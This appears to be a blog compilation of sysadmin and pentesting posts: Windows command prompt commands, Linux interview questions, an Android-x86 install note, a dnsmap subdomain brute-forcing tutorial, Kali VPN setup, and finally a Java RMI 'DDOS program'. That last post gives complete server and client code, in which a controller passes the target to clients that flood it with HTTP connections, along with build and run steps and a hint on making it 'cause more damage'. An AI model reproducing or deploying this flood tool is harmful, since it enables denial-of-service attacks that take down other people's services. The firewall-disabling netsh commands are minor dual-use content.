Top 10 Command Prompt Commands You Should Know

Top 10 Command Prompt Commands You Should Know
In this tutorial, i will guide you to top 10 important and famous command prompt commands with their usage.
1. ipconfig :
This is the topmost command for seeing the IP address,subnet mask and default gateway also includes the display and flush DNS cache, re-register the system name in DNS.  This will most useful tool for viewing and troubleshooting TCP/IP problem.

top-command-prompt-commands
  • To view IP ,subnet mask address : ipconfig
  • To view all TCP/IP information, use: ipconfig /all
  • To view the local DNS cache, use: ipconfig /displaydns
  • To delete the contents of the local DNS cache, use: ipconfig /flushdns 
2.systeminfo
Have a need to display operating system configuration information for a local or remote machine, including service pack levels? Then systeminfo is the tool to use. When I need to connect to a system that I am not familiar with, this is the first tool I run. The output of this command gives me all the info I need including: host name, OS type, version, product ID, install date, boot time and hardware info (processor and memory). Also knowing what hot fixes are installed can be a big help when troubleshooting problems. This tool can be used to connect to a machine remotely using the following syntax: SYSTEMINFO /S system /U user

top-commnd-prompt-commands
3. tasklist and taskkill 
If you are used to Windows Task Manager, then you’ll find tasklist very easy to use. This tool displays a list of currently running processes, including image name, PID (Process ID) and memory usage on local or remote machines. Using the /V switch displays more information in verbose mode that includes, CPU Time, user name, and modules. Tasklist includes a filter option to display a set of task based on the criteria specified. But the best use of the filter is using it to display programs running inside svchost.exe process.

top-command-prompt-commands-2
Of course, there will be times when a process needs to be killed and taskkill can be used to terminate those trouble processes. A single or multiple processes can be killed using the PID (/PID ) or image name (/IM ). Here are two examples for doing just that:
TASKKILL /IM notepad.exe
TASKKILL /PID 1230 /PID 1241 /PID 1253 /T
Both tasklist and taskkill can connect to remote systems using the /S (system name) /U (user name) switches.

4. type
type is used to read the text document in command prompt .  You can read multiple texts in continuously

type filename.txt
top-command-prompt-commands-6
5.netstat
Need to know who (or what) is making a connection to your computer? Then netstat is the tool you want to run. The output provides valuable information of all connections and listening ports, including the executable used in the connections. In addition to the above info, you can view Ethernet statistics, and resolve to connect host IP Addresses to a fully qualified domain name. I usually run the netstat command using the -a(displays all connection info), -n (sorts in numerical form) and -b (displays executable name) switches.

6.net command
Although this tool is more known as a command, the net command is really like a power drill with different bits and is used to update, fix, or view the network or network settings.
It is mostly used for viewing (only services that are started), stopping and starting services:

    • net stop the server
    • net start the server
    • net start (display running services)
and for connecting (mapping) and disconnecting with shared network drives:
    • net use m: \myserversharename
    • net use m: \myserversharename /delete
Other commands used with the net command are, accounts (manage user accounts), net print (manage print jobs), and net share (manage shares).
Below are all the options that can be used with the net command.

[ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |HELPMSG | LOCALGROUP | PAUSE | PRINT | SESSION | SHARE | START |STATISTICS | STOP | TIME | USE | USER | VIEW ]
7 – nslookup – With the Internet, DNS (Domain Name Service) is the key for allowing us to use friendly names when surfing the web instead of needing to remember IP Addresses. But when there are problems, nslookup can be a valuable tool for testing and troubleshooting DNS servers.
Nslookup can be run in two modes: interactive and noninteractive. The noninteractive mode is useful when only a single piece of data needs to be returned. For example, to resolve google.com:

top-command-prompt-commands-7
To use the interactive mode, just type nslookup at the prompt. To see all available options, type help while in interactive mode.
top-command-prompt-commands-8
Don’t let the help results intimidate you. Nslookup is easy to use. Some of the options I use when troubleshooting are:
set ds (displays detailed debugging information of behind the scenes communication when resolving a host or IP Address).
set domain (sets the default domain to use when resolving, so you don’t need to type the fully qualified name each time).
set type (sets the query record type that will be returned, such as A, MX, NS)
server NAME (allows you to point nslookup to use other DNS servers than what is configured on your computer)
To exit out of interactive mode, type exit .

8 – ping and tracert – These tools can be helpful with connectivity to other systems. Ping will test whether a particular host is reachable across an IP network, while tracert (traceroute) is used to determine the route taken by packets across an IP network.
To ping a system just type at the prompt: ping www.google.com. By default, ping will send three ICMP request to the host and listen for ICMP “echo response” replies. Ping also includes switches to control the number of echo requests to send (-n ), and to resolve IP addresses to the hostname (-a ).
To use tracert, type at the prompt: tracert www.google.comYou can force tracert to not resolve address to host names by using the -d switch, or set the desired timeout (milliseconds) for each reply using -w switch.
9 – gpresult – Used mostly in environments that implement group policies, gpresults (Group Policy Results) verify all policy settings in effect for a specific user or computer. The command is simple to use, just enter gpresults at the prompt. It can also be used to connect to computers remotely using the /S and /U switches.
10 – netsh – Without a doubt the most powerful command line tool available in Windows. Netsh is like the swiss army knife for configuring and monitoring Windows computers from the command prompt. Its capabilities include:

  • Configure interfaces
  • Configure routing protocols
  • Configure filters
  • Configure routes
  • Configure remote access behaviour for Windows-based remote access routers that are running the Routing and Remote Access Server (RRAS) Service
  • Display the configuration of a currently running router on any computer
Some examples of what you can do with netsh:
  • Enable or disable Windows firewall:
netsh firewall set opmode disable
netsh firewall set opmode disable
  • Enable or disable ICMP Echo Request (for pinging) in Windows firewall:
netsh firewall set icmpsetting 8 enable
netsh firewall set icmpsetting 8 disable
  • Configure your NIC to automatically obtain an IP address from a DHCP server:
netsh interface ip set address “Local Area Connection” dhcp
(For the above command, if your NIC is named something else, use netsh interface ip show config and replace the name at Local Area Connection).
As you can see netsh can do a lot. Instead of re-inventing the wheel, check out the following Microsoft article for more info on netsh.

Top 50 Linux System Administrator Interview Questions



Today, the job opportunities for Linux experts are more than ever. The Linux SysAdmin interview questions range from basic Linux questions to networking, DevOps, and MySQL questions. So, one needs to prepare adequately to ensure success in the Linux system administrator interview process. 
According to a report, the open source and Linux job market is full of new opportunities. Due to the increasing adoption of open source technologies by the technology giants (Microsoft says HELLO!), there are ample job opportunities for system administrators and DevOps professionals.
While a huge demand continues to exist, just like any other job in the technology world, SysAdmins have to go through a rigorous hiring process that consists of preparing a professional resume, technical exams, and interview questions. Out of these, cracking a job interview is often the most critical test.
During an interview, a candidate’s personal qualities are also checked and it’s evaluated if he/she is a right fit for the company. Apart from being calm and composed, being well-prepared for an interview is the best thing one can do in order to crack a Linux SysAdmin interview.

Get The Complete Linux System Administrator Bundle Here If you open your web browser and search for the phrase Linux SysAdmin interview questions, you’ll get a long list of search results that will help your practice. Apart from the straightforward conceptual questions like “What does the permission 0750 on a file mean?”, Linux SysAdmin interviews also come loaded with expert questions like “How do you catch a Linux signal on a script?”

To help you out in the Linux system administrator  interviews, I’ve compiled a list of my favorite questions of variable difficulty. These questions are framed with different approaches to find out more about the candidate and test his/her problem-solving skills:
1. What does nslookup do?
2. How do you display the top most process utilizing CPU process?
3. How to check all open ports on a Linux machine and block the unused ports?
4. What is Linux? How is it different from UNIX?
5. Explain the boot process of Unix System in details.
6. How do you change the permissions? How to create a file that’s read-only property?
7. Explain SUDO in detail. What are its disadvantages?
8. What is the difference between UDP and TCP?
9. Describe the boot order of a Linux machine.
10. Design a 3-tier web application.
11. Sketch how you would route network traffic from the internet into a few subnets.
12. How do you know about virtualization? Is it good to use?
13. What are different levels of RAID and what level will you use for a web server and database server?
14. List some latest developments in open source technologies.
15. Have you ever contributed to an open source project?
16. Systems engineer or a systems administrator? Explain?
17. List some of the common unethical practices followed by a system professional.
18. What is the common size for a swap partition under a Linux system?
19. What does a nameless directory represent in a Linux system?
20. How to list all files, including hidden ones, in a directory?
21. How to add a new system user without login permissions?
22. Explain a hardlink. What happens when a hardlink is removed?
23. What happens when a sysadmin executes this command: chmod 444 chmod
24. How do you determine the private and public IP addresses of a Linux system?
25. How do you send a mail attachment using bash?
26. Tell me something about the Linux distros used on servers.
27. Explain the process to re-install Grub in Linux in the shortest manner.
28. What is an A record, an NS record, a PTR record, a CNAME record, an MX record?
29. What is a zombie process? State its causes?
30. When do we prefer a script over a compiled program?
31. How to create a simple master/slave cluster?
32. What happens when you delete the source to a symlink?
33. How to restrict an IP so that it may not use the FTP Server?
34. Explain the directory structure of Linux. What contents go in /usr/local?
35. What is git? Explain its structure and working.
36. How would you send an automated email to 100 people at 12:00 AM?
37. Tell me about ZFS file system.
38. How to change the default run level in a Linux system?
39. How would you change the kernel parameters in Linux?
40. State the differences between SSH and Telnet.
41. How would you virtualize a physical Linux machine?
42. Tell me about some quirky Linux commands.
43. Explain how HTTPS works.
44. Do you know about TOR browser? Explain its working.
45. How to trigger a forced system check the next time you boot your machine?
46. What backup techniques do you prefer?
47. Tell me something about SWAP partition.
48. Explain Ping of Death attack.
49. How do you sniff the contents of an IP packet?
50. Which OSI layer is responsible for making sure that the packet reaches its correct destination?

How to install Android 6.0 Marshmallow on your Windows PC

Yes, it’s true: You really can install Android 6.0 Marshmallow onto your Windows PC and run it just like you’d run it on a phone or tablet. Fiztsimmons Weekly has posteda very handy guide for getting Marshmallow onto your PC, although you should be warned that it involves several steps and won’t be as simpler as installing one program.
Here are the three programs you’ll need to install to make this work:
  • Android-x86 from Sourceforge — obviously, this is how you’ll get the Android source code onto your computer.
  • UNetbootin — you’ll use this to create and format a hard drive partition.
  • GParted — this program will help you manage your partition
You’ll basically use these three programs to create a separate portion of your hard drive that will be devoted to Android 6.0 and will have 64GB of storage space to play with. You’ll then be able to pick which system you want to run when your PC boots up so it will be possible to use either one if you want.
To see the entire step-by-step guide for installing and running Android 6.0 on your Windows PC, check out the entire guide at this link.

basic tutorial on Dnsmap Kali-Linux

basic tutorial on Dnsmap Kali-Linux
Dnsmap is a passive network mapper and normally known as subdomain brute forcer, it originally released on 2006, it used by pentesters during the information gathering/enumeration phase of infrastructure security assessments. Dnsmap is a open source and tested on linux based operating system although it can be used on FreeBSD and windows plate form by using Cygwin.
Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you
==Installation==
apt-get install dnsmap 
==using dnsmap==
to start dnsmap go to :
” Applications -> Kali Linux – > Information Gathering – > DNS Analysis -> dnsmap ” menu
dn2
dn3
Testing dnsmap on a website .
#dnsmap www.site.com
dnsmap will search all subdomain on the website
dn5



Setting up VPN in Kali linux 2.0

Setting up VPN in Kali linux 2.0
A VPN or Virtual Private Network is a method used to add security and privacy to private and public networks, like WiFi Hotspots and the Internet. VPNs are most often used by corporations to protect sensitive data.z
A virtual private network (VPN) extends a private network across a public network, such as the Internet. It enables users to send and receive data across shared or public networks as if their computing devices were directly connected to the private network, and thus benefit from the functionality, security and management policies of the private network.[1] A VPN is created by establishing a virtual point-to-point connection through the use of dedicated connections, virtua ltunnelling protocols, or traffic encryption.
Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you
Setting up  vpn in kali linux 2.0 
Step1: go to http://www.vpnbook.com
vp1
Step2: Download the OpenVpn free accounts conf files 
vp2

vp3Step3:Extract the files to anywhere 
vpn4
Step4: open the terminal and change the directory of the extraction 
then type :
openvpn –config vpnbook-us2-tcp80.ovpn 
and then enter the username and the password
vp4
vpn5
we can see now many process is  going through
vv
the final step is to check our ip address , so we must go to www.dnsleaktest.com
vc
so you will find your self in a different location

An example of a DDOS program written in Java

An example of a DDOS program written in Java
People hear in the news everyday that some website was attacked using DOS, well DOS is not Disk Operating System it is much bigger it can bring an entire website down even it has huge scale servers.
Here I would like to share a basic program using RMI based bots that will be helpful for research purpose only. My intention is not to encourage script kiddies but just to give an idea of some of the things that can be achieved using RMI in JAVA.
First we have created an interface that will be concreted in it’s implementation later. But, the main purpose behind creating this interface is just for RMI as the look up functionality of RMI needs an interface instead of complete implementation.
Later I have Imported the necessary imports to make the implementations of the interface
“Disclaimer – Our tutorials are designed to aid aspiring pen testers/security enthusiasts in learning new skills, we only recommend that you test this tutorial on a system that belongs to YOU. We do not accept responsibility for anyone who thinks it’s a good idea to try to use this to attempt to hack systems that do not belong to you”
import java.rmi.*;
// DDOSService Interface
// Interface for a RMI service that will actually attack on a target machine
public interface DDOSService extends java.rmi.Remote
{
public String attack ( )
throws RemoteException;
}
Now this time is just to provide an implementation of that interface:
The UnicastremoteObject is to implement the remote server in the clinets and servers system hence the attack is a ddos, I have also inherited the interface DDOSService in the previous code snippet which in turns it inherits the Remote package.
Followed by it we create a server Instance in order to start the attack we are shooting the server with a http request we throw a exception if there is error in the code or a priority is out of number.
import java.math.*;
import java.rmi.*;
import java.rmi.server.*;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.net.UnknownHostException;
//
// DDOSServiceServer
//
// Server for a RMI service that calculates powers
//
public class DDOSServiceServer extends UnicastRemoteObject implements Runnable, DDOSService
{ //Target Machine
final String TARGET = "will-pc";
static DDOSServiceServer _instance;
public DDOSServiceServer () throws RemoteException
{
super();
}
// Calculate the square of a number
public String attack( )
throws RemoteException
{
_instance = new DDOSServiceServer ();
//2 threads on each machine
for (int i = 0; i < 2; i++)
new Thread(_instance).start();
String attack;

attack = "Attacking:"+ TARGET ;
return attack;
}
public void run() {
//1000 HTTP Requests using each client you can send more requests too
for (int i = 1; i < 1000; i++) {
try {
Socket net = new Socket(TARGET, 80); // connects the Socket to the TARGET port 80.
sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream
sendRawLine("Host: " + TARGET, net); // Sends Host: to the OutputStream
System.out.println("Attacking on Target  "+TARGET+" with Connection #: " + i);
} catch (UnknownHostException e) {
System.out.println("DDoS.run: " + e);
} catch (IOException e) {
System.out.println("DDoS.run: " + e);
}
}
}

public static void main ( String args[] ) throws Exception
{
// Assign a security manager, in the event that dynamic
// classes are loaded

// Create an instance of our power service server ...
DDOSServiceServer svr = new DDOSServiceServer();
// ... and bind it with the RMI Registry
Naming.bind ("DDOSService", svr);
System.out.println ("Service bound....");
}
public static void sendRawLine(String text, Socket sock) {
try {
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
out.write(text + " ");
out.flush();
} catch (IOException ex) {
ex.printStackTrace();
}
}
}


Till now we have almost done with our Server side code which we will be executing at our control panel machine from where we will be able to provide service to all those clients that will be waiting for our command. Actually here we have used RMI in reverse order as the clients are just acquiring the name of target machine from server. And once they got the name they start hitting it from their own machines.
As this code is just a day effort so probably need some further improvement too.
Now finally, we are at a stage to write the client side code that will be performing the actual task of sending fake requests to the client.
But in RMI we just need to compile in a bit different way. As it’s related to client-server communication so we must need a stub that will be used as a communication  bridge  in between client and a server.
Once we are done with the server we need to work on the client side hence it is a DDOS (Distrubuted Denial of the Service attack) we generate exceptions in the case of connectivity issues otherwise there is an infinite loop that hits the server we can make it better by using Multi-Threading it will cause more damage hey,I am not the one showing that to you but I will give you a
Hint : Inherit the Thread Class from another class and make the shift the entire code to a method in the Thread class and now you know what to do or refer this article.
import java.rmi.*;
import java.rmi.Naming;
import java.io.*;
//
// DDOSServiceClient
//
public class DDOSServiceClient
{
String attack =""; public static void main(String args[]) throws Exception
{
DDOSServiceClient obj = new DDOSServiceClient() ;
while(true){
obj.attack ="";
try{
obj.go();
}
catch(java.rmi.ConnectException rc){
System.out.println("Connection Failure");
}
catch(java.net.ConnectException rc){
System.out.println("Net Failure");
} catch(java.rmi.NotBoundException je){
System.out.println("java.rmi.NotBoundException");
} System.out.println(obj.attack);
}
}
private static void go() throws Exception{
// Call registry for DDOSService
DDOSServiceClient obj = new DDOSServiceClient() ;
Thread.sleep(5000);
//A server IP that need to be replaced with this IP
DDOSService service = (DDOSService) Naming.lookup
("rmi://192.168.55.44/DDOSService");
DataInputStream din = new
DataInputStream (System.in);
//Calling remote Method
obj.attack = service.attack();
}
}
When we are already done with the coding. So, now we need to compile and test it.
javac DDOSServiceClient.java
javac DDOSServiceServer.java
rmic DDOSServiceServer
start rmiregistry
java DDOSServiceServer on server machine
java DDOSServiceClient on client machine.
Take your time to comment on this article